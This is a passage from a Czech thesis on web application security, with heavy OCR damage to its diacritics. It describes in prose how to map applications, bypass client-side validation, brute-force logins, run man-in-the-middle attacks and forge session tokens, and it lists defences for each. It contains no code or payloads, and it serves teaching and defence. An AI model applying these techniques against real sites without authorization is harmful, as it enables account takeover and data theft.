Interni skenovani se snazi najit vnitini hrozby, které jsou reprezentovany Utoky ze samotné
napadané sité. NejCastéjSimi aktéry byvaji vlastni zaméstnanci. Naopak predmétem
externiho skenovani jsou testy vii¢i hrozbam z vnéjsi strany sité. Jedna se predevsim o ttoky

ze sité Internet. (Selecky, 2012 str. 39)

3.8.4 Skenovani aplikace

Skenovani, téZ mapovani aplikace, za¢ina prozkoumanim obsahu aplikace a pochopenim
jejiho chovani. Nasledné je dulezita podrobna analyza aplikace, kde je nutné porozumét
jednotlivym procestim, bezpe¢nostnim mechanismiim a zjistit pouzité technologie na strané
Klienta iserveru. DodrZzenim tohoto postupu je snadnéjsi nalézt piipadné nedostatky
Vv zabezpeceni aplikace. (Stuttard, a dalsi, 2011 str. 73)

Ziskani obsahu a pochopeni chovani aplikace

Prozkoumani obsahu aplikace a jejiho chovani je mozné provést manualnim prochazenim
stranek ptes prohlize¢ nebo vyuzitim nékterého z nastroju jako je napiiklad Burp Suite,
WebScarab, Zed Attack Proxy, Nikto, w3af nebo CAT. Nastroje sice nejsou schopny
prochazet odkazy generované JavaScriptem nebo odesilat slozitéjsi formulafe, ovSem
zna¢né urychluji skenovani aplikace. V nékterych ptipadech miize ale dojit k nepietrzitému

béhu programu disledkem mechanismu, ktery pti kazdém pozadavku piida do URL ndhodné
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vygenerovany parametr. Idealni je tedy pouZit nastroje spole¢né s manualnim prochazenim
weboveé aplikace. (Stuttard, a dalsi, 2011 stranky 74-76) (Kim, 2015 str. 59)

Webové aplikace jsou slozeny z obsahu, resp. soubort a funkci, které nejsou piimo
dohledatelné. Jedna se napiiklad o funkce, které byly implementovany pii testovani aplikace
a nebyly odstranény. Dale to mize byt skryty obsah, ktery je dostupny pouze piihlaSenym
uzivatelim pod ur¢itymi pravy. Pro utoc¢nika jsou pak dulezité predevSim soubory, které
nejsou piimo dosazitelné z webového rozhrani aplikace a obsahuji citlivé udaje jako jsou
napiiklad ptihlasovaci udaje do databaze, informace o uZivatelskych tétech, zéznamy
o chybach v aplikaci atd. (Stuttard, a dalsi, 2011 stranky 80, 81)

V nékterych ptipadech se stava, Ze je obsah skryty, avsak v minulosti tomu tak byt nemuselo.
Vyhledavaci stroje jako je Google, Yahoo nebo MSN a webovy archiv WayBack Machine
ukladaji kopie obsahu do své paméti. Pomoci rozsitenych dotazi 0 specialni operatory ve
vyhledavacich nebo kopie aplikace ve webovém archivu, Ize dohledat uzite¢ny obsah, ktery
byl dostupny v diivéjsi verzi webové aplikace. Déle je také dulezita historie webovych
stranek, kde vyvojafi napiiklad popisuji pouzité technologie pii tvorbé aplikace, na kterou
cilime Gtok. (Stuttard, a dalsi, 2011 stranky 89-91)

Analyza bezpeénosti aplikace

Prozkoumani obsahu je prvni fazi skenovani aplikace. Druhou fazi je analyza aplikace
z hlediska jeji funkénosti, chovani a pouzitych technologii. Tato faze nakonec vede
k identifikaci vSech proveditelnych utokd proti cilové aplikaci. Nasledujici vycet obsahuje

zakladni oblasti, které jsou béhem této faze analyzovany. (Stuttard, a dalsi, 2011 str. 97)

e Zakladni i okrajova funk¢nost aplikace, napt. zpracovani chyb nebo pfesmérovani.

e Bezpecnostni mechanismus, tj. fizeni piistupu, autentizace nebo prace se session.

e Vsechna mista, kde aplikace zpracovava uzivatelské vstupy — parametry v URL, data
odeslana pies metodu POST, cookie a hlavicky.

e Technologie pouzité na stran¢ klienta, tj. formulafe a komponenty jako Java applety,
ovladaci prvky Active-X nebo Flash.

e Technologie pouzité na strané serveru, tj. pouziti SSL, webovy server, pouzity
programovaci jazyk, komunikace s databadzi, e-mailovy systétm a vyuzité

back-endové komponenty tietich stran.

(Stuttard, a dalsi, 2011 stranky 97, 98)
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Pro analyzu bezpecénosti aplikace lze vyuzit nastroje jako je Burb Suite, AppScan, Acunetix,
w3af, Paros, Hailstorm nebo NetSpark. Prohlize¢ Internet Explorer, Firefox a Chrome
obsahuji nastroj, pomoci kterého lIze prochazet zdrojovy kdd stranky, zobrazit a upravit
hlavi¢ky pozadavku i odpovédi, zobrazit bézici skripty na pozadi a mnoho dalsich funkci,
které jsou uzite¢né pii hledani zranitelnych mist v aplikaci. (Stuttard, a dalsi, 2011 stranky
748-750, 781, 782) (Kim, 2015 str. 36)

3.9 Obchazeni ovladacich prvki na strané klienta

Piedavani dat z klienta na server lze provést pomoci prvku na strané klienta nebo pies
session. Pouziti session pro vSechna data je nezadouci, protoze zpracovani téchto dat by
zabralo moc Casu a aplikace by nebyla dostateéné vykonna. Zaroven by byl vyvoj aplikace
slozit&jsi, protoze by bylo obtizné fesit piipady, kdy webova aplikace komunikuje s vice néz
jednim serverem. Ze zminénych divodi jsou data na server pienaSena pres Klientské prvky
jako jsou formulate, cookies, URL parametry, HTTP hlavi¢ky nebo Client-side komponenty.

(Stuttard, a dalsi, 2011 stranky 9, 118)

Odesilani dat pies klienta neni zcela bezpe¢né, protoze uzivatelé mohou na server odeslat
libovolny vstup, ktery muze vest k ziskani neopravnéného pfistupu k datim a funkcim
aplikace. Kviili tomu jsou na strané klienta implementovana opatieni, ktera kontroluji
odesilana data na server. Stejna opatieni jsou nutnd implementovat také na strané serveru,
protoze jakoukoliv kontrolu na strané klienta lze snadno obejit a zdroven miize béhem
prenosu dat dojit k jejich modifikaci. (Stuttard, a dalsi, 2011 stranky 9, 117) (Long, 2005 str.
429)

3.9.1 Formulare

HTML formulafe jsou nejjednodussim zptisobem, jak uzivatelsky vstup odeslat na server.
Zaroven umoziuji nastavit omezeni a provadét validaci dat. Tuto ochranu je snadné obejit
naptiklad odstranénim daného omezeni nebo zménou hodnoty v HTML. Moznym
omezenim je napiiklad atribut max, ktery udava maximalni ¢islo ve vstupnim poli.
V piipadg, ze by vstupni pole, tzv. input slouzil k zadani mnozstvi produktii ke koupi, jeho
odstranéni by mohlo vést k prodeji vétsiho mnozstvi produktd, nez je ve skute¢nosti na
skladg. (Stuttard, a dalsi, 2011 stranky 127, 128)

Vestavény validaéni mechanismus ve formulafich obsahuje pouze z&kladni a nelze ho pouzit

k validaci vSech druhd vstupt. Naptiklad u registrace uzivateli jsou vstupy jako e-mail,
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telefonni ¢islo, jméno atd. Pro takové formulafe se pouziva validace pomoci skriptu
napsaném v JavaScriptu. Skript se spousti pii odeslani formulaie a pii tispé$né validaci jsou
data odeslana na server. V opa¢ném piipadé je uzivatel vyzvan K opravé zadaného tdaje.
JavaScript Ize ovSem upravit nebo v prohlize¢i vypnout a vyhnout se tak validaénimu

procesu. (Stuttard, a dalsi, 2011 stranky 129, 130) (Suehring, 2008 str. 25)

HTTP formulafe maji n€kolik typu vstupnich poli. Jednim z nich je naptiklad typ hidden,
ktery prohlize¢ informuje o tom, aby input na obrazovce nezobrazoval. Zadana hodnota je
presto odeslana na server. Tento input se vyuziva k odesilani dat, ktera nemaji byt
uzivatelem modifikovana, ale pfesto jsou pro nasledujici zpracovani dualezita. V nékterych
ptipadech chceme mit naopak input viditelny na obrazovce, ale neménitelny. K tomuto tcelu
slouzi atribut disabled, ktery odstrafiuje moznost editace a zaroven zamezuje odeslani dané
hodnoty na server. Zména typu, resp. atributu inputu, by pfi absenci oSetfeni na strané
serveru vedla ke zpracovani nezadouci hodnoty. (Stuttard, a dalsi, 2011 stranky 118, 119,
131, 132) (Long, 2005 str. 429)

3.9.2 HTTP Cookies

Dalsim béznym zptsobem, jak dostat uzivatelska data na server je pouZzit cookies. Obdobné
jako u inputd typu hidden neni ani cookies zobrazeno na obrazovce a uzivatelé nemohou
hodnoty v ném piimo upravovat. Cookies se ¢asto pouziva k ulozeni informaci 0 uzivateli,
jako napfiklad jeho jméno nebo e-mailova adresa. Citlive Udaje vSak neni vhodné do cookies
ukladat, protoze uzivatel muze obsah cookies zobrazit s vyuzitim proxy serveru nebo
prostfednictvim rozSifeni v prohlizeci. Zarovenn neni vhodné do cookies ukladat data
potfebna pro spravny chod aplikace, protoze uzivatel si mize podporu cookies vypnout.

(Stuttard, a dalsi, 2011 str. 121) (Vrana, 2012 str. 174)

3.9.3 URL parametry

Castym zptsobem je prenos dat pies URL parametry, které mohou byt uZivatelem velice
snadno upraveny bez pouZiti specialniho nastroje. Aplikace obsahuji URL s parametry
v HTML kodu, u kterych se ale ocekava, ze je bézni uzivatelé nemohou zobrazit a ménit.
Jedna se naptiklad o parametry v URL, které specifikuji, jaky obrdzek nebo obsah webu se
ma nacist. V tomto piipad¢ se daji parametry modifikovat stejné¢ jako u formulaiti nebo

cookies. (Stuttard, a dalsi, 2011 stranky 121, 122) (gotowebs, 2017)
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3.9.4 Hlavicka Referer

Stejné jako obsah dat je pro aplikaci dulezité i pofadi v jakém jsou na server data odesilana.
Pokud by naptiklad nebyl pomoci hlavi¢ky referer ovéfen zdroj pozadavku, mohl by utoénik
preskocit nektery krok autorizace ke konkrétni akci nebo provést pozadavek ze svého
serveru. Tuto kontrolu 1ze snadno obejit podstréenim pozadované hodnoty do referer
hlavicky pomoci proxy serveru. Prohlize¢ hlavicku referer nemusi ani prenaset, takze se
neda na jeji pfitomnost spolehnout. (Stuttard, a dalsi, 2011 stranky 9, 122) (Vréna, 2012 str.
363)

3.10 Utoky na autentizaci

Autentizace je zakladnim bezpe&nostnim opatienim proti neopravnénému piistupu. Utoénik,
ktery prolomi toto zabezpeceni ziskd plnou kontrolu nad funkcemi aplikace a neomezeny
ptistup k jejim datim. Bez robustni autentizace, na kterou se Ize spolé¢hat, nemize byt zadny

z ostatnich bezpe¢nostnich mechanismu Géinny. (Stuttard, a dalsi, 2011 str. 159)

Zpusobu, jak ovérit identitu uzivatele je n€kolik. Nejbéznéjsim mechanismem je HTML
formulaf, do kterého se zapisuje uzivatelské jméno a heslo. Ve webovych aplikacich, pro
které je bezpecnost diilezitd, jako naptiklad internetové bankovnictvi, je nutné do formulaie
zadat dalsi udaje jako je PIN nebo jednorazové heslo zaslané na e-mail nebo SMS. N¢které
aplikace maji v sobé implementovany mechanismus na ovéfovani uzivateli na zakladé
klientskych SSL certifikati. DalSim béznym zpiisobem je pak autentizace pomoci HTTP
hlavi¢ky a sluzbou tietich stran. (Stuttard, a dalsi, 2011 stranky 160, 161) (Vrana, 2012 str.
377) (Scambray, a dalsi, 2002 str. 143)

3.10.1 Hrubasila

Spousta webovych aplikaci ma minimalni poZadavky na sloZitost hesla a umoziuje
neomezeny pocet pokust pro jeho zadani. S dne$nim vykonem pocitact a internetového
pfipojeni lze provést nékolik tisic pokust o pfihlaSeni béhem jedné minuty. S vyuzitim
vhodného nastroje, jako je napiiklad Burb Intruder, by tak v tomto ptipad¢ uhodnuti hesla,
tzv. hrubou silou, trvalo jen par minut. Aplikace, které kontroluji pocet pokusti pouzivaji
cookies nebo session k uchovani aktualni hodnoty. Odstranénim session ID nebo samotné
hodnoty z cookies dojde k ziskéni dalsich pokust o ptihlaseni. Idealni variantou je tedy
ukladat pocet pokusu do databaze. (Stuttard, a dalsi, 2011 stranky 161-164) (Vrana, 2012 str.
383)
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Vétsina aplikaci ucet zamkne pii nékolika neuspésSnych pokusech. V nékterych piipadech se
ale stava, ze aplikace stale vraci chybovou hlasku, ktera indikuje $patné heslo. Uto¢nik je
potom schopny heslo dal hadat. (Scambray, a dalsi, 2001 stranky 125, 126) dale dodavaji,
ze chybové hlasky, které jsou navic odlisné pro $patné zadané heslo a uzivatelské jméno,
usnadnuji ato¢nikovi praci. (Vréna, 2012 str. 383) popisuje, Ze jednotna zprava pro ovéteni
totoznosti neni uzivatelsky piivétiva a utocnik se o existenci uzivatelského jména v systému

muze dozveédét pii registraci.

3.10.2 Pienos prihlasovacich udaji

Kromé pouziti hrubé sily je mozné heslo auzivatelské jméno ziskat béhem pienosu
ptistupovych udaji na server. Nejbéznéjsim utokem je tzv. Man-in-the-Middle (MitM), kdy
komunikace mezi klientem a serverem probiha pies utoénika. Uto¢nik je navic schopny
udrzovat dva samostatné klice a odposlouchavat Sifrovanou komunikaci jako je tomu
v ptipadé HTTPS. Kromé toho dokaze data na trase meénit. (Stuttard, a dalsi, 2011 str. 171)
(Erikson, 2008 stranky 406, 407)

V prvni fazi MitM Utoku se provadi tzv. otraveni protokolu ARP (Address Resolution
Protocol), ktery slouzi k ziskani MAC adresy na zaklad¢ IP adresy. Disledkem otraveni
veskera komunikace Klientskeho zatizeni s routerem probiha pies pocita¢ uto¢nika. V dalsi
fazi mize ato¢nik ziskat piimo ptihlasovaci udaje nebo token relace ptihlaseného uzivatele.
Token nasledn¢ importuje do svého prohlizece a ziska veskera jeho opravnéni. Pro MitM
Utok existuje fada nastroji jako je napt. mitm-ssh, Ettercap, BDFProxy nebo Cain and Abel.
(Kim, 2015 stranky 144-151)

3.10.3 Ulozeni ptihlasovacich udaja

V databazi se misto hesla uklada jen jeho otisk, aby to¢nik nebo i zaméstnanec heslo
nezneuzil. K vytvofeni otisku se nejéastéji pouziva hashovaci funkce MD5
a SHA-1. Utocnik, ktery ziska otisk miize jeho hodnotu porovnat s databazi ostatnich otiski
a zjistit tak ¢isty text hesla. Kviili tomu se kK heslim ptidava jesté tzv. salt (sul), cozZ je fetézec
nahodnych znaku generovanych aplikaci. Dale je leps$i pouzivat bezpeénéjsi hashovaci
funkci jako je SHA-256 nebo SHA-3. (Stuttard, a dalsi, 2011 str. 190) (Vrana, 2012 stranky
380, 382)
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3.10.4 Funkce pro zménu hesla

Dobfie navrzeny autentiza¢ni mechanismus aplikace obsahuje funkci, kterd periodicky nuti
uzivatele zménit heslo, a tim zmirfiuje hrozbu jeho uhodnuti a zneuziti. Soucasné funkce
slouzi jako jednodussi a rychlej$i moznost zménit heslo uzivatelem v ptipadé€ podezieni na
jeho vyzrazeni. Piestoze aplikace tuto funkci obsahuji, mohou byt $patné implementované.
V nékterych piipadech se lze setkat s tim, ze funkce pro zménu hesla je pfistupna bez
predeslé autentizace a poskytuje chybové hlasky indikujici, zda je uzivatelské jméno nebo
soucasné heslo spravné ¢i nikoliv. Spole¢né s neomezenym poctem pokusti na zadani
spravného soucasného hesla mize Gito¢nik tuto funkci vyuzit k uhodnuti hesla hrubou silou.
(Stuttard, a dalsi, 2011 stranky 171, 172) (Vrana, 2012 str. 385)

3.10.5 Funkce pro zapomenuti hesla

Funkce pro zapomenuté heslo je feSena naptiklad skrze napovédu, kterou uzivatel zadava
béhem registrace. Pro Uto¢nika je pak snadnéj$i heslo uhodnout. Dalsim zpiisobem je

kontrolni otazka po jejimz spravném zodpovézeni je uzivatel piihlagen. Casto se jedna

vvvvvv
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na e-mailovou adresu uzivatele, na které si miize vytvofit nové heslo. Vyvojafi se pfi
implementaci tohoto feseni dopousti ¢asto zavazné chyby, kterou je moznost zadat e-mail,
na ktery se mé odkaz s URL odeslat. Ovéfeni, zda e-mail patii danému uzivateli neni ptitom
provedeno. Uto¢nik tak miize zadat sviij vlastni e-mail. (Stuttard, a dalsi, 2011 stranky 173-
175) (Vrana, 2012 str. 384)

3.10.6 Funkce pro trvalé prihlaseni

S aktivovanym trvalym ptihlaSenim nemusi uZzivatelé zadavat ptihlaSovaci Gidaje pokazdé,
kdyz pouzivaji aplikaci ze stejného pocitae. NejcastéjSim zpilisobem implementace je
vyuziti cookies, kdy aplikace na zakladé¢ jedine¢ného identifikatoru poznd, o jakého
uzivatele se jedna a preskoci prihlaSeni. Piestoze je hodnota v cookies Sifrovana a tézko
uhodnutelna, muze byt stale dosazitelna pomoci techniky Cross-Site Scripting nebo

uto¢nikem, ktery ma piistup k pocitaci uzivatele. (Stuttard, a dalsi, 2011 stranky 176, 177)
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3.10.7 Zabezpeceni autentizace

Vzhledem k velkému poétu moznych zranitelnosti v autentizaci a potencialné slozité obrané

proti Utokim vyvojafi ptijimaji ur¢ité hrozby a soustiedi se pfedev§im na ty vaznéjsi. Pt

rozhodovani hraje roli moznost zabezpeceni vzhledem k funk¢énosti aplikace, stupeil

tolerance uzivateli vi¢i odliSnym zplUsobim autentizace, naklady na podporu méné

uzivatelsky privétivého systému a vztah finan¢nich nakladt na zabezpeceni vici piijmtm,

které aplikace generuje nebo hodnoté dat, které aplikace chrani. (Stuttard, a dalsi, 2011 str.

191)

V nésledujici ¢asti bude vycet doporuceni a zptisobi, jak se branit utokim na autentiza¢ni

mechanismus.

Silné prihlaSovaci udaje

Heslo by mélo spliovat minimalni délku (nejcastéji 8 znakl) a mélo by se skladat
z velkych i malych pismen, ¢islic a typografickych znaka.

Heslo by nemélo odpovidat zadném z béznych hesel nebo odpovidat heslu diive
zvolenému ¢1i jiZ existujicimu.

Uzivatelské jméno by mélo byt unikétni.

Automaticky generované piihlasovaci udaje by nemély byt piedvidatelné.

U formularového pole pro zadani hesla by mélo byt vypnuto automatické dopliovani

drive zadanych udaju prohlizecem.

(Stuttard, a dalsi, 2011 str. 192) (Vrana, 2012 str. 386)

Zpracovani prihlasovacich adaji

Ptihlasovaci udaje by mély byt vytvoreny, uchovany a prenaseny zptsobem, ktery
nevede K jejich neopravnénému odhaleni.

Komunikace by méla byt chranéna kryptografickou technologii jako je SSL, které je
soucasti protokolu HTTPS.

Udaje by mély byt odesilany pouze ptes HTTP metodu POST.

V databdzi by mél byt uloZen pouze otisk hesla, ktery byl ziskan pouzitim silné
hashovaci funkce, napi. SHA-256 nebo SHA-3.

Heslo by mélo obsahovat, tzv. sul.

(Vrana, 2012 stranky 380, 382) (Stuttard, a dalsi, 2011 stranky 192, 193)
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Funkce pracujici s prihlaSovacimi udaji

U funkce pro trvalé piihlaSeni by nemély byt pfihlasovaci udaje nikdy ulozeny
V cookies prohliZzece v neSifrované formé a mél by byt kladen diraz na eliminaci
Cross-Site Scripting Gtokd.

Funkce pro zménu hesla by méla byt vzdy implementovana, kvili pravidelné
vynuceng, resp. vyzadané zméné hesla aplikaci, resp. uzivatelem. Zaroven by méla
byt piistupna pouze piihlasenému uzivateli, ktery by mél byt vzdy vyzvan k zadani
hesla soucasného.

Uzivatelé by pti zméné€ hesla méli nové heslo vzdy potvrdit opétovnym zadanim.

V piipadé zadani chybnych ptihlaSovacich udaji by se uzivateli méla zobrazit
jednotna hlaska.

Uzivatelé by méli byt informovani, Ze doslo ke zmén¢ hesla.

Pti zapomenutém hesle se uzivateli poSle na pfedem domluveny komunikacni kanal
(obvykle e-mail) URL s nahodné vygenerovanym fetézcem, ktery ma omezenou

dobu trvani. Tento zptsob je vhodné kombinovat s kontrolnimi otazkami.

(Stuttard, a dalsi, 2011 stranky 193, 199, 200) (Vrana, 2012 stranky 383, 384, 385)

Ochrana proti hrubé sile

Uzivatelsky ucet by mél byt zablokovan po nékolika neuspéSnych pokusech
0 prihlaseni a obnoven az po nékolika minutach, napt. 30 minut. Informace o poctu
zbyvajicich pokusii nebo minut by neméla byt zobrazena.

Chybové zpravy by mély byt, co nejméné podrobné, aby podle nich uto¢nik nemohl
optimalizovat proces hadani hesla.

Kazda stranka, resp. formuléf, ktery mutze byt cilem utoku hrubou silou, by mél
obsahovat CAPTCHA (Completely Automated Public Turing test to tell Computers
and Humans Apart), ktera slouzi k identifikaci robota ¢i nastroje, ktery atok provadi.
Jednd se o obrézek sriuzné¢ deformovanym textem, ktery musi uZivatel rozlustit.
Deformace musi byt navic pokrocila, aby nebyl text programové rozlustén pomoci

OCR (Optical Character Recognition).

(Stuttard, a dalsi, 2011) (Vrana, 2012 stranky 373, 383) (Scambray, a dalsi, 2001 stranky
126, 132)
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Monitorovani

e Aplikace by méla uchovavat veskeré informace tykajici se autentizace, jako je
pfihlaseni, odhlaSeni, zména hesla nebo jeho obnoveni do protokold na serveru.
Protokoly by mély byt siln¢ chranény proti neopravnénému pristupu.

e Administrator aplikace by mél byt upozornén v ptipadé zvlastnich udalosti, které by
nastaly béhem autentizace nékterého uzivatele.

e Uzivatel by mél byt e-mailem upozornén o jakychkoliv bezpecnostnich udalostech
na jeho uc¢tu a mél by mit k dispozici udaje 0 jeho poslednim pifihlaseni a poctech

neplatnych pokust o pfihlaseni.
(Stuttard, a dalsi, 2011 str. 201)
3.11 Utoky na session

HTTP protokol je bezstavovy a jednotlivé pozadavky nejsou nijak provazany. Webové
aplikace pouzivaji session tokeny, resp. identifikatory relace, které identifikuji a sleduji
uzivatele béhem prochazeni jednotlivych stranek webu. Session tokeny jsou obvykle
ulozené v cookies, ale mohou byt pfedavany pies parametr v URL nebo ve skrytych polich
uvnitt HTML formulaie. (Schema, 2012 str. 142) (Long, 2005 stranky 442, 443)

Standardni mechanismus pro fizeni relace je nachylny na riizné utoky. Utoénik se primarné
snazi unést relaci (anglicky Session Hijacking) a vydavat se tak za jiného uzivatele, ¢imz
ziska piistup k jeho datim a funkcim. Dal§im tGtokem je Session Fixation, ktery spociva
v podvrhnuti obéti Gitoénikova tokenu. Utoénik nasledné poc¢ka, aZ se obét’ prihlasi a zacne
se za uzivatele vydavat. Poslednim Utokem v navaznosti na ukladani identifikdtoru do
cookies je Cross-Site Scripting utok, ktery je blize popsan v kapitole 3.14. Vétsi aplikace,
prevazne komercni, proto implementuji vlastni funkce pro spravu relaci, které jim umoznuji
vétsi kontrolu nad chovanim session. U bezpec¢nostné kritickych aplikaci jako je internetové
bankovnictvi se lze Casto setkat se spravou relace, ktera neni zaloZzena na HTTP cookies.
(Stuttard, a dalsi, 2011 stranky 207, 243) (Vrana, 2012 stranky 365, 367) (Scambray, a dalsi,
2002 str. 155)

3.11.1 Slabiny v generovani tokenu

Podle (Kim, 2015 str. 69) je pfi generovani tokenu nutné zohlednit dvé hlavni véci — nesmi

byt uhodnutelny a musi fadné sledovat uzivatele. (Stuttard, a dalsi, 2011 str. 210) poukazuji
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na fakt, Ze v aplikaci existuje fada funkci, kde bezpecnost aplikace zavisi na
nepiedvidatelnosti tokent, které sama generuje. Jedna se napiiklad o token, ktery je zaslan
uzivateli pfi zapomenuti hesla nebo je vyuZivan funkci pro trvalé ptihlaSeni. Déle se tokeny
vyuZzivaji ve skrytych formulafovych polich jako ochrana proti Gtoku Cross-Site Request

Forgery nebo k udéleni jednorazového ptistupu k chranénému obsahu.

Tokeny mohou byt generovany nékolika zpusoby. Jednim znich je transformace
komponent, resp. uzivatelskych udaji jako je uzivatelské jméno, kiestni jméno, piijmeni,
e-mail, uZivatelska role atd. do fetézce, ktery je zakdédovan pomoci XOR, Base64 nebo
hexadecimalnim koédovanim. Kazdy jednotlivy tidaj muze byt pritom zakddovan jinym
zpusobem. Aplikace, ktera pfijme pozadavek s tokenem zpracovava vSechny nebo pouze
nékteré komponenty. Utoénik analyzou tokenu miZe kromé& zvoleného kédovani zjistit,
ktera cast tokenu je aplikaci validovana. Mnozstvi potencialné validnich tokent je tak nizsi.
(Stuttard, a dalsi, 2011 stranky 210 - 212)

Dalsim zpusobem vygenerovani tokenu je pomoci funkce, kterd generuje sekvenci
nahodnych znakl. Faktem je, Ze nahodné Cislo nebo fetézec je generovan urcitym
algoritmem a sekvence se jako nahodna pouze jevi. Uto¢nik, ktery ziska maly vzorek
vygenerovanych znaku je schopen odhadnout tokeny, které budou validni. K témto u¢elim
Ize vyuzit naptiklad program Burp Intruder. Kvalitu nahodnosti sekvence lze testovat
pomoci programu Burp Sequencer. (Stuttard, a dalsi, 2011 stranky 213, 218) (Scambray,
a dalsi, 2001 str. 151) (Vréana, 2012 stranky 367, 368)

Neékteré aplikace Sifruji tokeny pomoci tajného klice jesté pfedtim, nez jsou vydany
uzivatelim. Tento token se nejcastéji sklada z uzivatelskych tidaji. V zavislosti na pouzitém
Sifrovacim algoritmu a zptsobu jakym jsou tokeny v aplikaci zpracovany, Ize v nékterych
situacich manipulovat s obsahem tokenu bez ptedeslého desifrovani. Registraci n€kolika
uzivateld je utoc¢nik schopny zjistit, kterd ¢ast tokenu odpovida uzivatelskému jménu nebo
roli a odhadnout pouzitou blokovou $ifru. Dosazenim ¢asti vlastniho tokenu nebo manipulaci
bloku Sifrovaného tokenu muze Gto¢nik vystupovat pod jinym uzivatelem nebo ziskat jina
opravnéni. Uspéch Gtoku zavisi na zpisobt, jakym aplikace zpracovava a ovéiuje token.
(Stuttard, a dalsi, 2011 stranky 223 -232)
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3.11.2 Slabiny v manipulaci s tokeny

Nezalezi na tom, jakym zpusobem a jak efektivné aplikace generuje tokeny, kdyz s nimi
peclivé nezachazi. Piikladem nespravné manipulace s tokeny je jejich odesilani pies
neSifrované HTTP spojeni. Piestoze aplikace pouziva HTTPS pro kazdou stranku, uto¢nik
muze piimét uzivatele provést pozadavek pies HTTP, ktery odchyti a ziska tak token
uzivatele. (Stuttard, a dalsi, 2011 stranky 233-236)

Systémové logy, resp. soubory, do kterych se zaznamenavaji ¢innosti programii, jsou mistem
kam se tokeny zapisuji. Mnoho aplikaci administratorim a personalu podpory umoziuje
monitorovat a kontrolovat béh aplikace a nahlizet do logii. Rozsah potenciélnich Gto¢niku je
tak daleko Sirsi. (Stuttard, a dalsi, 2011 str. 237)

Dalsi slabinou Vv aplikaci je n€kolik validnich tokent pro jednoho uZivatele nebo staticky
token, ktery se uzivateli ptifadi pfi kazdém piihlaseni. Kazdy token by mél mit omezenou
dobu trvani a uzivatel by mél mit moznost relaci kdykoliv ukonéit prostiednictvim funkce
pro odhlaseni. V opa¢ném piipad¢ miize GtoCnik pouzit token, ktery uzivatel pouzil diive
nebo ziskat aktudlni a nebyt pti tom ¢asové omezen. (Stuttard, a dalsi, 2011 stranky 240 -
243)

Posledni slabinou v manipulaci s tokeny je defaultni sdileni cookies v prohlize¢i s vice
aplikacemi, které bézi pod stejnou doménou. Kazda takova aplikace mé vétsinou vlastni
subdoménu a muze generovat tokeny stejnym algoritmem. Zarovenn mtze mit rozdilné
bezpetnostni opatieni jehoz slabinu mize uto¢nik vyuzit a ziskat identifikator sezeni, ktery
bude validni pro ostatni aplikace bézici na stejné doméné. Kromé subdomény mohou bézet
dalsi aplikace také v jiném adresafi. Nevhodné nastaveny adresar, pro ktery ma cookies platit

opét vede ke zranitelnosti aplikace. (Stuttard, a dalsi, 2011 stranky 245 - 247)

3.11.3 Zabezpedeni Fizeni session

Pro ochranu fizeni relaci proti utokiim musi webové aplikace ptijmout dvé bezpecnostni
opatieni, mezi kterd spadd generovani silnych tokent a jejich ochrana po celou dobu

zivotniho cyklu, tj. od vytvoreni do jejich likvidace. (Stuttard, a dalsi, 2011 str. 248)
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Generovani silnych tokent

Token by mél obsahovat pouze identifikator, ktery server vyuzije k dohledani
relevantniho objektu (uzivatele) a nemél by tedy obsahovat zadné smysluplné
informace o uzivateli.

K vygenerovani nahodného fetézce by méla byt vyuzita funkce, ktera poskytuje
nejlepsi pseudondhodnou sekvenci znak.

Vhodné je k fetézci ptipojit tajné slovo, které zné pouze server a informaci jako je IP
adresa, ¢as v milisekundach nebo User-Agent hlavic¢ku, ktera zmirni nedostatky
V pouzitém generatoru pseudonahodnych cisel.

Cely fetézec je vhodné hashnout napiiklad pomoci funkce SHA-256.

(Stuttard, a dalsi, 2011 stranky 248, 249) (Vrana, 2012 str. 368) (Scambray, a dalsi, 2002 str.

155)

Ochrana tokenu

Token by mél byt pfenaSen pouze pres HTTPS a cookies hodnota by méla byt
oznacena jako secure.

Cookies by mélo byt nastaveno pro takovou doménu ¢i adresér, ktery odpovida
presn¢ dané aplikaci a nedoslo tak k ziskani tokenu skrze nezabezpecenou aplikaci
béZici na subdoméné ¢i v podadresafi.

Tokeny by nikdy nemély byt pfenaSeny v URL, protoZze je pak snadné provést
Session Fixation utok. Pokud ma prohlize¢ vypnutou podporu cookies, je lepsi pouzit
skryté formulafové pole a odesilat token skrze POST pozadavek.

Aplikace by méla poskytovat funkci pro odhlaSeni uZzivatele, ktera zlikviduje
vSechny relace drzené uzivatelem na serveru.

Uzivatel by mél byt automaticky odhlasen po urcité dobé necinnosti, napt. 10 minut.
Pti kazdém ptihlaseni by mél byt uzivateli vygenerovan jiny token a vSechny ostatni
jemu pfifazené odstranény.

Pokud aplikace obsahuje administrativni a diagnostické funkce, které obsahuji
identifikatory sezeni, mély by byt robustné chranény proti neopravnénému piistupu.

IdedIné by misto tokenu mély obsahovat pouze zakladni informace o uzivateli.
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e Jesté lepsi kontrolu nad session lze dosdhnout generovanim tokenu kazdym
pozadavkem, pfi¢emz novy token je porovnan s hodnotou piedeslého. V piipadé

nesouladu je relace ukoncena.
(Stuttard, a dalsi, 2011 stranky 250 - 252) (Vrana, 2012 str. 367)
Monitorovani

e Aplikace by méla monitorovat vSechny pozadavky, které obsahovaly neplatny token.
IP adresa s velkym mnozstvim takovych pozadavkl by méla byt zablokovana.
e Administrator aplikace auzivatel by m¢li byt informovani v piipadé zvlastnich

udalosti tykajicich se relace.

(Stuttard, a dalsi, 2011 str. 253)
3.12 Utoky na autorizaci

Rizeni piistupu, resp. autorizace je bezpeénostni technika, ktera reguluje, kdo miize zobrazit
nebo pouzit uréité zdroje webové aplikace. Autorizace, diky piedeslé autentizaci pomoci
ptihlasovacich udaji, ovétuje a schvaluje pfistup odpovédnym subjektim. Udélovani
piistupu ke zdrojim se provadi naptiklad na zakladé roli jednotlivych uZivateli. Spatné
fizeni pfistupu se fadi mezi nejCastéji se vyskytujici zranitelnosti webovych aplikaci.

(Stuttard, a dalsi, 2011 str. 257) (Rouse, 2014)

3.12.1 Zranitelnosti

Existuji tfi hlavni bezpe¢nostni nedostatky, diky kterym je uto¢nik schopny pfistupovat
k funkcim a zdrojam, ke kterym nema opravnéni. Prvnim nedostatkem je moznost uzivatele
spoustét funkce, které neptislusi jeho roli. Druhym nedostatkem je moznost zobrazit
a upravit data, ktera patii jinému uZzivateli. Poslednim nedostatkem je moZnost uZivatele
preskocit nékterou fazi, resp. stav aplikace a ziskat tak pfistup k cilovému zdroji nebo funkci.
Jedna se napiiklad o pieskoceni platby béhem objednavky na e-shopu nebo preskoceni

